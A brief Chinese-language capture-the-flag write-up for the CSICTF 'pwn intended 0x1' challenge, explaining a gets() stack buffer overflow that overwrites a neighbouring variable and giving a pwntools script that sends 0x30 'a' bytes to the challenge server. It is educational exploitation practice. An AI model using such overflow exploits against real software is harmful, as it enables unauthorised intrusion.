【CSICTF】pwn intended 0x1 WriteUp

一道pwn的签到题

v4的长度为0x30-4，使用的是gets函数读取输入，所以可以溢出
只要满足v5不等于0就可以拿到flag，于是通过溢出修改v5的值即可

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30001)
#io=process('./pwn-intended-0x1')
elf=ELF('./pwn-intended-0x1')

ra()
sl('a'*0x30)

io.interactive()